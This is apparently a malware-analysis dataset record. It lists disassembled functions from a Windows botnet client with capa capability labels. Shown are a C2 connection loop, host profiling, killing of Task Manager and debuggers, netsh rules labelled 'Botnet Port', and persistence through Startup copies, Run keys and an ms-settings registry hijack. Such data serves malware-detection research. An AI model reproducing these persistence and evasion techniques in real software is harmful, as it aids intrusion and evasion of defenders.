joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400ecf1c
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400caa20
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400ecfa6
cmp byte [rbp - 0x21], r15b
je 0x1400ecfa1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400ecfdc
call fcn.1400db568
test eax, eax
jne 0x1400ecfc8
cmp byte [rbp - 0x21], r15b
je 0x1400ecfc0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400ecfdc
cmp byte [rbp - 0x21], r15b
je 0x1400ecfd9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400d424c
test eax, eax
jne 0x1400ed07c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400caa20
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400ed01b
cmp byte [rbp - 0x21], r15b
je 0x1400ed050
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400ed050
call fcn.1400db568
test eax, eax
jne 0x1400ed03c
cmp byte [rbp - 0x21], r15b
je 0x1400ed035
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400ed050
cmp byte [rbp - 0x21], r15b
je 0x1400ed04d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400d424c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400ed07c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400ed07f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400ed08d
mov rcx, rdi
call fcn.1400db20c
cmp byte [rbp + 0x3f], r15b
je 0x1400ed09c
mov rcx, qword [rbp + 0x27]
call fcn.1400db20c
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400edea4
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1400e0980
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1400e0980
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1400edff4
cmp rax, 0xffffffffffffffff
je 0x1400edff4
xor edi, edi
test rbp, rbp
jle 0x1400edf9f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1400db194
mov rbx, rax
test rax, rax
jne 0x1400edf2c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400edf95
mov edx, 0x8000
mov ecx, r14d
call fcn.1400d8190
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1400dcac4
cmp eax, 0xffffffff
je 0x1400edf75
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400edf3c
mov edx, r15d
mov ecx, r14d
call fcn.1400d8190
jmp 0x1400edf95
cmp byte [rsi + 0x38], dil
je 0x1400edf8c
cmp dword [rsi + 0x34], 5
jne 0x1400edf8c
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x1400edf95
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1400db20c
jmp 0x1400ee008
jns 0x1400ee008
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1400e0980
cmp rax, 0xffffffffffffffff
jne 0x1400edfc0
cmp byte [rsi + 0x30], dil
je 0x1400ee008
mov edi, dword [rsi + 0x2c]
jmp 0x1400ee008
mov ecx, r14d
call fcn.1400e60dc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400ee008
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1400ee008
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400ee001
mov eax, dword [rsi + 0x2c]
jmp 0x1400ee006
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1400e0980
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x1400ee810
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400ee838
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400ee838
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001780
Capabilities:
Initialize winsock library

Disassembly:
push r13
push r12
push rsi
push rbx
sub rsp, 0x1c8
mov ecx, 0x202
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.140034120
cmp eax, 1
je 0x1400017b3
lea rcx, str.sexd
call fcn.1400018b0
call fcn.14000a010
lea rsi, str.Connecting...
lea rbx, str.Failed_to_open_connection
call fcn.14000a660
call fcn.14000a070
call fcn.14000a050
mov rcx, qword [0x1400c3030]
call fcn.14000a8d0
call fcn.14000a070
call fcn.140001f80
call fcn.140004f10
call fcn.140004ab0
nop dword [rax]
mov rcx, rsi
call fcn.140001890
jmp 0x14000181a
mov rcx, rbx
call fcn.140001890
mov ecx, 0x1e
call fcn.1400808f0
call fcn.1400043b0
test eax, eax
je 0x140001808
call fcn.1400043a0
xor r12d, r12d
cmp byte [rax + 8], 0
mov r13, rax
jne 0x140001850
call fcn.1400048f0
mov r12, rax
test rax, rax
je 0x140001880
mov rcx, rax
call fcn.140001550
cmp byte [r13 + 8], 0
je 0x140001834
mov rcx, r12
call fcn.140003830
lea rcx, str.Disconnected...
call fcn.140001890
mov rcx, r13
call fcn.140004350
call fcn.140004eb0
mov ecx, 0x1e
call fcn.1400808f0
jmp 0x1400017f8
lea rcx, str.Failed_to_read_packet
call fcn.140001890
jmp 0x140001850

Function at 0x140001930
Capabilities:
Get session user name
Query environment variable

Disassembly:
push r12
sub rsp, 0x130
lea r12, [rsp + 0x30]
mov dword [rsp + 0x2c], 0x100
lea rdx, [rsp + 0x2c]
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
cmp byte [rsp + 0x30], 0
je 0x140001970
mov rcx, r12
call fcn.14008d048
add rsp, 0x130
pop r12
ret
lea rcx, str.USERNAME
call sub.msvcrt.dll_getenv
mov rcx, rax
call fcn.14008d048
add rsp, 0x130
pop r12
ret
Function at 0x1400019b0
Capabilities:
Connect socket
Get hostname
Get memory capacity
Get session integrity level
Get session user name
Get system information on windows
Query environment variable

Disassembly:
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x258
mov ecx, 0x50
call sub.msvcrt.dll_malloc
lea r13, [rsp + 0x50]
mov edx, 0x100
mov r12, rax
mov rcx, r13
call qword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x140001b90
mov rcx, r13
call fcn.14008d048
mov qword [r12], rax
lea r14, [rsp + 0x20]
lea r13, [rsp + 0x150]
mov dword [rsp + 0x20], 0x100
mov rdx, r14
mov rcx, r13
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
cmp byte [rsp + 0x150], 0
je 0x140001c40
mov rcx, r13
call fcn.14008d048
mov qword [r12 + 8], rax
test rax, rax
je 0x140001c59
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x40]
lea rcx, str.windows
mov dword [r12 + 0x28], eax
call fcn.14008d048
lea rcx, str.x86_64
mov rdi, rax
mov qword [r12 + 0x10], rax
call fcn.14008d048
movsx ecx, byte [rdi]
mov qword [r12 + 0x18], rax
mov rbx, rax
test cl, cl
je 0x140001aac
mov rsi, qword [sym.imp.msvcrt.dll_tolower]
mov ebx, 1
nop word cs:[rax + rax]
call rsi
mov byte [rdi], al
mov rdi, qword [r12 + 0x10]
add rdi, rbx
add rbx, 1
movsx ecx, byte [rdi]
test cl, cl
jne 0x140001a90
mov rbx, qword [r12 + 0x18]
movsx ecx, byte [rbx]
mov rsi, qword [sym.imp.msvcrt.dll_tolower]
mov edi, 1
test cl, cl
je 0x140001ad7
nop
call rsi
mov byte [rbx], al
mov rbx, qword [r12 + 0x18]
add rbx, rdi
add rdi, 1
movsx ecx, byte [rbx]
test cl, cl
jne 0x140001ac0
mov rax, qword [str._ra_t_]
lea rcx, str.1.0.0
mov qword [r12 + 0x20], rax
call fcn.14008d048
mov qword [r12 + 0x30], rax
call fcn.140003260
mov byte [r12 + 0x40], 0
xor r8d, r8d
mov edx, 1
mov qword [r12 + 0x38], rax
mov ecx, 0x17
call qword [sym.imp.WS2_32.dll_socket]
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x140001ba8
cmp byte [r12 + 0x40], 0
je 0x140001b36
mov dword [0x1400c3040], 1
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov rcx, r13
mov dword [rsp + 0x150], 0x40
test eax, eax
setne byte [r12 + 0x41]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [rsp + 0x158]
pxor xmm0, xmm0
cvtsi2ss xmm0, rax
mov rax, r12
cvtss2sd xmm0, xmm0
mulsd xmm0, qword [0x140096158]
movsd qword [r12 + 0x48], xmm0
add rsp, 0x258
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
ret
lea rcx, [0x14009610d]
call fcn.14008d048
mov qword [r12], rax
jmp 0x1400019f4
lea r8, [rsp + 0x158]
mov eax, 0x17
mov ecx, 0x17
mov qword [rsp + 0x150], 0
lea rdx, str.2606:4700:4700::1111
mov qword [rsp + 0x158], 0
mov qword [rsp + 0x160], 0
mov dword [rsp + 0x168], 0
mov word [rsp + 0x150], ax
call fcn.140003310
mov ecx, 0x50
call qword [sym.imp.WS2_32.dll_htons]
mov r8d, 0x1c
mov rdx, r13
mov rcx, r14
mov word [rsp + 0x152], ax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x140001c2c
mov byte [r12 + 0x40], 1
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x140001b24
lea rcx, str.USERNAME
call sub.msvcrt.dll_getenv
mov rcx, rax
call fcn.14008d048
jmp 0x140001a2b
lea rcx, [0x14009610d]
call fcn.14008d048
mov qword [r12 + 8], rax
jmp 0x140001a39
Function at 0x140001e60
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push r13
push r12
push rbx
sub rsp, 0x420
mov r13, rdx
lea rdx, [0x140096160]
call sub.msvcrt.dll_fopen
mov rcx, r13
lea rdx, [0x140096163]
mov r12, rax
call sub.msvcrt.dll_fopen
mov r13, rax
test r12, r12
je 0x140001ee7
lea rbx, [rsp + 0x20]
test rax, rax
jne 0x140001eb8
jmp 0x140001ee7
mov r9, r13
mov edx, 1
mov rcx, rbx
call sub.msvcrt.dll_fwrite
mov r8d, 0x400
mov r9, r12
mov edx, 1
mov rcx, rbx
call sub.msvcrt.dll_fread
mov r8, rax
test rax, rax
jne 0x140001ea8
mov rcx, r12
call sub.msvcrt.dll_fclose
mov rcx, r13
call sub.msvcrt.dll_fclose
nop
add rsp, 0x420
pop rbx
pop r12
pop r13
ret
Function at 0x1400034e0
Capabilities:
Connect socket
Set socket configuration

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x40
mov r13, rcx
mov esi, edx
movzx ecx, word [rcx]
mov ebx, r8d
mov edx, 1
mov r8d, 6
call qword [sym.imp.WS2_32.dll_socket]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x140003630
lea rdi, [rsp + 0x38]
mov dword [rsp + 0x38], ebx
mov r8d, 0x1006
mov rbx, qword [sym.imp.WS2_32.dll_setsockopt]
mov dword [rsp + 0x3c], 0
mov r9, rdi
mov edx, 0xffff
mov rcx, rax
mov dword [rsp + 0x20], 8
call rbx
test eax, eax
jne 0x1400035e0
mov dword [rsp + 0x20], 8
mov r9, rdi
mov edx, 0xffff
mov rcx, r12
mov r8d, 0x1005
call rbx
test eax, eax
jne 0x140003608
lea r9, [0x140097a84]
mov r8d, 4
mov edx, 0xffff
mov rcx, r12
mov dword [rsp + 0x20], 4
call rbx
mov r8d, 1
mov edx, 6
mov rcx, r12
mov dword [rsp + 0x20], 4
lea r9, [0x140097a84]
call rbx
mov r8d, esi
mov rdx, r13
mov rcx, r12
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x140003650
mov rax, r12
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop r12
pop r13
ret
lea rcx, str.cannot_set_socket_SO_RCVTIMEO
mov r12, 0xffffffffffffffff
call fcn.140001890
mov rax, r12
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop r12
pop r13
ret
lea rcx, str.cannot_set_socket_SO_SNDTIMEO
mov r12, 0xffffffffffffffff
call fcn.140001890
mov rax, r12
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop r12
pop r13
ret
lea rcx, str.cannot_open_socket
call fcn.140001890
mov rax, r12
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop r12
pop r13
ret
lea rcx, str.cannot_connect
mov r12, 0xffffffffffffffff
call fcn.140001890
jmp 0x1400035c8

Function at 0x140003670
Capabilities:
Send data
Send data on socket

Disassembly:
push r12
sub rsp, 0x30
mov r12, rcx
mov ecx, edx
call qword [sym.imp.WS2_32.dll_htonl]
xor r9d, r9d
lea rdx, [rsp + 0x2c]
mov rcx, r12
mov dword [rsp + 0x2c], eax
mov r8d, 4
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 4
sete al
movzx eax, al
add rsp, 0x30
pop r12
ret

Function at 0x1400036b0
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub rsp, 0x38
xor r9d, r9d
mov r8d, 4
lea rdx, [rsp + 0x2c]
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
jne 0x1400036e0
mov ecx, dword [rsp + 0x2c]
call qword [sym.imp.WS2_32.dll_ntohl]
add rsp, 0x38
ret
mov eax, 0xffffffff
jmp 0x1400036d7

Function at 0x1400036f0
Capabilities:
Send data
Send data on socket

Disassembly:
push r14
push r13
push r12
push rsi
push rbx
sub rsp, 0x30
xor r14d, r14d
mov r13, rcx
mov r12, rdx
test rdx, rdx
je 0x140003740
mov rcx, rdx
call sub.msvcrt.dll_strlen
mov ecx, eax
mov rbx, rax
call qword [sym.imp.WS2_32.dll_htonl]
xor r9d, r9d
lea rdx, [rsp + 0x2c]
mov rcx, r13
mov dword [rsp + 0x2c], eax
mov rsi, qword [sym.imp.WS2_32.dll_send]
mov r8d, 4
call rsi
cmp eax, 4
je 0x140003750
mov rax, r14
add rsp, 0x30
pop rbx
pop rsi
pop r12
pop r13
pop r14
ret
xor r9d, r9d
mov r8d, ebx
mov rdx, r12
mov rcx, r13
call rsi
xor r14d, r14d
cdqe
cmp rax, rbx
sete r14b
mov rax, r14
add rsp, 0x30
pop rbx
pop rsi
pop r12
pop r13
pop r14
ret
Function at 0x140003780
Capabilities:
Receive data
Receive data on socket

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x30
xor r9d, r9d
mov rdi, qword [sym.imp.WS2_32.dll_recv]
mov r8d, 4
mov r13, rcx
lea rdx, [rsp + 0x2c]
call rdi
cmp eax, 4
jne 0x1400037f8
mov ecx, dword [rsp + 0x2c]
call qword [sym.imp.WS2_32.dll_ntohl]
movsxd rsi, eax
test rsi, rsi
js 0x1400037f8
lea rcx, [rsi + 1]
call sub.msvcrt.dll_malloc
mov r12, rax
test rax, rax
je 0x1400037f8
xor r9d, r9d
mov r8d, esi
mov rdx, rax
mov rcx, r13
call rdi
cmp eax, esi
jne 0x140003810
mov rax, r12
mov byte [r12 + rsi], 0
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop r12
pop r13
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop r12
pop r13
ret
mov rcx, r12
xor r12d, r12d
call sub.msvcrt.dll_free
mov rax, r12
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop r12
pop r13
ret

Function at 0x140004350
Capabilities:
Hijack thread execution

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
je 0x140004369
cmp qword [rcx], 0xffffffffffffffff
je 0x140004369
cmp byte [rcx + 8], 0
je 0x140004370
add rsp, 0x20
pop rbx
ret
lea rcx, str.Closing_connection
call fcn.140001890
mov rcx, qword [rbx]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rbx + 0x18]
mov byte [rbx + 8], 1
add rsp, 0x20
pop rbx
jmp fcn.14008f9a0
Function at 0x140005c80
Capabilities:
Send data
Send data on socket

Disassembly:
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x68
mov r14, rcx
mov ecx, 0x4b0
mov rbx, rdx
mov rsi, r8
mov rdi, r9
call sub.msvcrt.dll_malloc
mov r12, rax
test rax, rax
je 0x140005d29
movdqu xmm0, xmmword [rbx]
movdqu xmm1, xmmword [rbx + 0x10]
lea rcx, [rsp + 0x30]
mov rdx, rax
movdqu xmm2, xmmword [rbx + 0x20]
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm1
movups xmmword [rsp + 0x50], xmm2
call fcn.1400055e0
mov rcx, r14
mov dword [rsp + 0x28], edi
xor r9d, r9d
mov qword [rsp + 0x20], rsi
mov r13d, eax
mov r8d, eax
mov rdx, r12
call qword [sym.imp.WS2_32.dll_sendto]
mov rcx, r12
test eax, eax
js 0x140005d10
call sub.msvcrt.dll_free
mov eax, r13d
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
ret
call sub.msvcrt.dll_free
lea rcx, str.sendto
mov r13d, 0xffffffff
call sub.msvcrt.dll_perror
jmp 0x140005cff
lea rcx, [0x140097d22]
or r13d, 0xffffffff
call sub.msvcrt.dll_perror
jmp 0x140005cff

Function at 0x140007560
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, r8
test rdx, rdx
je 0x1400075b0
mov r10, qword [rcx]
xor eax, eax
test r10, r10
je 0x14000758e
cmp byte [rcx + 8], 0
je 0x140007598
mov rcx, qword [rcx + 0x10]
call fcn.14001986b
cdqe
cmp rax, rbx
sete al
add rsp, 0x20
pop rbx
ret
xor r9d, r9d
mov rcx, r10
call qword [sym.imp.WS2_32.dll_send]
cdqe
jmp 0x140007588
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x14000a130
Capabilities:
Enumerate processes

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x158
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x14000a200
lea rdi, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x130
lea rsi, [rsp + 0x4c]
mov rdx, rdi
lea r13, str.goldoon
call sub.KERNEL32.dll_Process32First
mov rbp, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
test eax, eax
je 0x14000a230
nop dword [rax + rax]
mov rdx, rdi
mov rcx, r12
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x14000a1e6
mov ebx, dword [rsp + 0x28]
call rbp
cmp ebx, eax
je 0x14000a190
mov rdx, r13
mov rcx, rsi
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x14000a190
lea rdx, str.Goldoon
mov rcx, rsi
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x14000a190
lea rdx, str.systemed__
mov rcx, rsi
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x14000a190
mov eax, 1
add rsp, 0x158
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.CreateToolhelp32Snapshot_failed:__lu_n
mov edx, eax
call fcn.140001890
xor eax, eax
add rsp, 0x158
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Process32First_failed:__lu_n
mov edx, eax
call fcn.140001890
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x158
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
Function at 0x14000a2c0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x178
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x14000a3cb
lea rsi, [rsp + 0x40]
mov rcx, rax
mov dword [rsp + 0x40], 0x130
mov rdx, rsi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x14000a3e0
mov r14, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [sym.imp.msvcrt.dll__stricmp]
lea rbx, [rsp + 0x6c]
lea rdi, str.taskmgr.exe
mov r13, qword [sym.imp.KERNEL32.dll_OpenProcess]
nop dword [rax]
mov rdx, rdi
mov rcx, rbx
call rbp
test eax, eax
je 0x14000a350
lea rdx, str.debugg
mov rcx, rbx
call sub.msvcrt.dll_strstr
test rax, rax
je 0x14000a3b1
mov eax, dword [rsp + 0x64]
mov r9d, dword [rsp + 0x60]
mov rdx, rbx
lea rcx, str.Killed__s_PID__lu_PPID__lu_Threads__lu_Module__lu_Flags__lu_Priority__lu_n
mov r8d, dword [rsp + 0x48]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x5c]
mov dword [rsp + 0x20], eax
call fcn.140001890
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 1
call r13
mov r15, rax
test rax, rax
je 0x14000a3b1
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, r15
call r14
mov rdx, rsi
mov rcx, r12
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x14000a330
mov rcx, r12
call r14
nop
add rsp, 0x178
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000a3cb
Function at 0x14000a4d0
Capabilities:
Execute command
Terminate process

Disassembly:
push r12
push rbx
sub rsp, 0xc8
mov ebx, ecx
call fcn.14000a410
mov r8d, eax
cmp eax, 0xffffffff
je 0x14000a5e6
xor edx, edx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r12, rax
test rax, rax
je 0x14000a5e6
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x14000a5f8
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x14000a620
mov eax, 2
movzx ecx, bx
mov word [rsp + 0x30], ax
call qword [sym.imp.WS2_32.dll_htons]
xor ecx, ecx
mov word [rsp + 0x32], ax
call qword [sym.imp.WS2_32.dll_htonl]
lea rdx, [rsp + 0x30]
mov r8d, 0x10
mov rcx, r12
mov dword [rsp + 0x34], eax
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x14000a640
mov edx, 1
mov rcx, r12
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x14000a650
mov dword [rsp + 0x20], ebx
lea r12, [rsp + 0x40]
mov r9d, ebx
lea r8, str.netsh_advfirewall_firewall_add_rule_name_Botnet_Port__d__dirin_actionblock_protocolTCP_localport_d
mov edx, pe_nt_image_headers64
mov rcx, r12
call fcn.14000a260
mov rcx, r12
call fcn.14008d070
mov dword [rsp + 0x20], ebx
mov rcx, r12
mov r9d, ebx
lea r8, str.netsh_advfirewall_firewall_add_rule_name_Botnet_Port__d__dirout_actionblock_protocolTCP_localport_d
mov edx, pe_nt_image_headers64
call fcn.14000a260
mov rcx, r12
call fcn.14008d070
nop
add rsp, 0xc8
pop rbx
pop r12
ret
lea rcx, str.Failed_to_terminate_process._n
call fcn.1400018b0
mov rcx, r12
add rsp, 0xc8
pop rbx
pop r12
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Failed_to_create_socket._n
add rsp, 0xc8
pop rbx
pop r12
jmp fcn.1400018b0
lea rcx, str.Failed_to_bind_socket._n
call fcn.1400018b0
jmp 0x14000a5e6
lea rcx, str.Failed_start_listening._n
call fcn.1400018b0
jmp 0x14000a5e6
Function at 0x14000a8d0
Capabilities:
Persist via default file association registry key
Persist via run registry key
Set registry value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x138
lea rdx, str.C:Documents_and_SettingsUserStart_MenuProgramsStartupFirewall.exe
mov r12, rcx
lea rbx, [rsp + 0x30]
call fcn.140001e60
call fcn.140001930
mov r8, rax
test rax, rax
je 0x14000a92d
lea rdx, str.C:Users_sAppDataRoamingMicrosoftWindowsStart_MenuProgramsStartupFirewall.exe
mov rcx, rbx
call fcn.14000a700
mov rdx, rbx
lea rcx, str.Path:__s_n
cdqe
mov byte [rsp + rax + 0x30], 0
call fcn.140001890
mov rdx, rbx
mov rcx, r12
call fcn.140001e60
lea rdx, str.C:WindowsSystem32Firewall.exe
mov rcx, r12
call fcn.140001e60
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rdi, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r9d, 0xf003f
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call rdi
test eax, eax
je 0x14000a9c0
mov rcx, qword [rsp + 0x30]
mov rsi, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rsi
lea rdx, str.C:Documents_and_SettingsUserStart_MenuProgramsStartupFirewall.exe
mov rcx, r12
call fcn.140001e60
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov r9d, 0xf003f
lea rdx, str.SoftwareClassesms_settingsShellopencommand
mov rcx, 0xffffffff80000001
call rdi
test eax, eax
je 0x14000a9f8
mov rcx, qword [rsp + 0x30]
call rsi
nop
add rsp, 0x138
pop rbx
pop rsi
pop rdi
pop r12
ret
lea rax, str.C:WindowsSystem32Firewall.exe
mov rcx, qword [rsp + 0x30]
mov r9d, 1
mov dword [rsp + 0x28], 0x21
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.Firewall
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x14000a965
lea rax, str.C:Documents_and_SettingsUserStart_MenuProgramsStartupFirewall.exe
mov rcx, qword [rsp + 0x30]
mov r9d, 1
mov dword [rsp + 0x28], 0x48
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [0x140098da0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x14000a9a4
Function at 0x14003aa03
Capabilities:
Encode data using xor

Disassembly:
test byte [rcx + 0x41e], 0x40
jne 0x14003aa66
dec r9d
jne 0x14003aa3a
mov eax, dword [rcx + 0x400]
mov r9d, dword [rcx + 0x3fc]
mov r10d, eax
add r10d, 1
mov dword [rcx + 0x400], r10d
jae 0x14003aa6b
lea eax, [r9 + 1]
mov dword [rcx + 0x3fc], eax
jmp 0x14003aa61
mov eax, dword [rcx + 0x408]
mov r9d, dword [rcx + 0x404]
mov r10d, eax
add r10d, 1
